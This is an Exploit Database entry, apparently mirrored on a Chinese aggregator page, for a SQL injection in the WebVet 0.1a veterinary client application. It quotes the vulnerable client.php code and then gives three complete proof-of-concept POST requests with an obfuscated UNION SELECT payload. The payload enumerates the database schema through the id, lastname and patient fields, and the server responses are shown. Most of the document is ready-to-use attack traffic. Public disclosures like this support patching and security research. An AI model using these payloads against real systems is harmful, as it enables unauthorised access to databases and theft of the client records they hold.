WebVet 0.1a – ‘id’ SQL Injection

• Exploit Database
• 17 阅读

• 作者： Ihsan Sencan
  日期： 2018-11-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45775/

• # Exploit Title: WebVet 0.1a - 'id' SQL Injection
  # Dork: N/A
  # Date: 2018-11-04
  # Exploit Author: Ihsan Sencan
  # Vendor Homepage: http://webvet.exreality.net/
  # Software Link: https://netix.dl.sourceforge.net/project/webvet/webvet_2013_07_08.zip
  # Version: 0.1a
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  
  # /[PATH]/client.php
  #091 	else if (!empty($_POST['form_search_client']))
  #092 	{
  #093 		$searchedClient = new Client();
  #094 		if (!empty($_POST['id']))
  #095 			$searchedClient->id = $_POST['id'];
  #096 		if (!empty($_POST['lastname']))
  #097 			$searchedClient->lastname = $_POST['lastname'];
  #098 		if (!empty($_POST['patient']))
  #099 			$searchedClient->patient = $_POST['patient'];
  #100 
  #101 		// do the search
  #102 		$db_connection = db_open(db_user_name, db_user_passw, db_name);
  #103 		if (!$db_connection) die;
  #104 		$clients = db_search_client($searchedClient, clients_table_name, $db_connection);
  #105 		include "clients_view.php";
  #106 	}
  
  # POC: 
  # 1)
  # http://localhost/[PATH]/client.php
  # 
  POST /[PATH]/client.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 525
  id=1 UNION SELECT 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)-- -&form_search_client=Efe
  HTTP/1.1 200 OK
  Date: Sun, 04 Nov 2018 18:13:34 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Content-Length: 1229
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8
  
  # POC: 
  # 2)
  # http://localhost/[PATH]/client.php
  # 
  POST /[PATH]/client.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 501
  lastname=' UNION SELECT 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)-- -&form_search_client=Efe
  HTTP/1.1 200 OK
  Date: Sun, 04 Nov 2018 18:19:04 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Content-Length: 1229
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8
  
  # POC: 
  # 3)
  # http://localhost/[PATH]/client.php
  # 
  POST /[PATH]/client.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 499
  patient='UNION SELECT 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)-- -&form_search_client=Efe
  HTTP/1.1 200 OK
  Date: Sun, 04 Nov 2018 18:21:05 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Content-Length: 1229
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8